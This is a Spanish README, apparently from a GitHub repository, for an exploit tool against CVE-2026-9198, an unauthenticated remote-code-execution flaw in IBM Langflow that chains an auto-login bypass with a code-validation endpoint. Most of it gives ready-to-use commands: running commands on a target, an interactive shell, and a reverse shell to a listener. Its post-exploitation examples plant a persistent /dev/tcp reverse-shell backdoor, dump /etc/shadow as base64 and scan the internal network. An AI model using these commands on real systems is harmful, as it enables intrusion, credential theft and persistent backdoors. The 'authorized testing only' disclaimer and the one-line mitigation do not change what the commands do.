
IBM Langflow RCE no autenticado mediante omisión del auto-inicio de sesión
CVE-2026-9198 es una vulnerabilidad crítica de ejecución remota de código (RCE) no autenticada en IBM Langflow OSS. Este exploit encadena dos vulnerabilidades:
/api/v1/validate/code que permite la ejecución arbitraria de Python⚠️ ADVERTENCIA: Esta herramienta es solo para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado es ilegal.
pipgit clone https://github.com/0xgh057r3c0n/CVE-2026-9198.git
cd CVE-2026-9198
pip install termcolor
O instala todas las dependencias de una vez:
pip install -r requirements.txt
python CVE-2026-9198.py --help
Deberías ver el menú de ayuda con todas las opciones disponibles.
Ejecuta un único comando en el objetivo:
python CVE-2026-9198.py -t <target_ip> -c "id"
Ejemplo:
python CVE-2026-9198.py -t 192.168.1.100 -c "whoami"
Lanza una shell interactiva con prompts dinámicos:
python CVE-2026-9198.py -t <target_ip> --shell
Características:
user@host y el directorio actualcd con actualización automática del promptEjemplo de sesión:
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ whoami
root
┌─[root@0xgh057r3c0n]─[~]
└──╼ $ cd /tmp
┌─[root@0xgh057r3c0n]─[/tmp]
└──╼ $ pwd
/tmp
Envía un payload reverse shell a un listener:
python CVE-2026-9198.py -t <target_ip> --lhost <your_ip> --lport <port>
Ejemplo:
# On your machine - Start listener
nc -lvnp 4444
# Then run the exploit
python CVE-2026-9198.py -t 192.168.1.100 --lhost 192.168.1.50 --lport 4444
Si Langflow se ejecuta en un puerto no estándar:
python CVE-2026-9198.py -t <target_ip> -p <port> -c "whoami"
Ejemplo:
python CVE-2026-9198.py -t 192.168.1.100 -p 8080 -c "ls -la"
Omite el proceso de auto-login y usa un token existente:
python CVE-2026-9198.py -t <target_ip> -k <your_jwt_token> -c "id"
Ajusta el timeout HTTP para redes más lentas:
python CVE-2026-9198.py -t <target_ip> --timeout 30 -c "whoami"
python CVE-2026-9198.py -t 192.168.1.100 -c "uname -a"
python CVE-2026-9198.py -t 192.168.1.100 --shell
# Then inside the shell:
ls -la
cat /etc/passwd
# Create a reverse shell that persists
python CVE-2026-9198.py -t 192.168.1.100 -c "echo 'bash -i >& /dev/tcp/192.168.1.50/4444 0>&1' > /tmp/backdoor.sh && chmod +x /tmp/backdoor.sh && /tmp/backdoor.sh"
python CVE-2026-9198.py -t 192.168.1.100 -c "nmap -sP 192.168.1.0/24"
python CVE-2026-9198.py -t 192.168.1.100 -c "cat /etc/shadow | base64"
Para protegerte contra esta vulnerabilidad:
/api/v1/auto_login y /api/v1/validate/codeEsta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El autor no es responsable de ningún uso indebido o daño causado por este software. Los usuarios son los únicos responsables de cumplir con las leyes y regulaciones aplicables.
Este proyecto está bajo la Licencia MIT; consulta el archivo LICENSE para más detalles.
0xgh057r3c0n
¡Las contribuciones son bienvenidas! No dudes en enviar un Pull Request.
git checkout -b feature/AmazingFeature)git commit -m 'Add some AmazingFeature')git push origin feature/AmazingFeature)Si encuentras útil esta herramienta, ¡considera darle una ⭐ en GitHub!
| Argumento | Descripción | Requerido | Por defecto |
|---|
-t, --target | Host/IP objetivo o URL completa | ✅ Sí | - |
-p, --port | Puerto de Langflow | ❌ No | 7860 |
-c, --cmd | Ejecutar un único comando | ❌ No | "id" |
--shell | Modo pseudo-shell interactiva | ❌ No | False |
--lhost | IP del listener del reverse shell | ❌ No | - |
--lport | Puerto del listener del reverse shell | ❌ No | 4444 |
-k, --token | Usar el token bearer proporcionado | ❌ No | - |
--timeout | Timeout HTTP en segundos | ❌ No | 20 |
--no-banner | Ocultar el banner | ❌ No | False |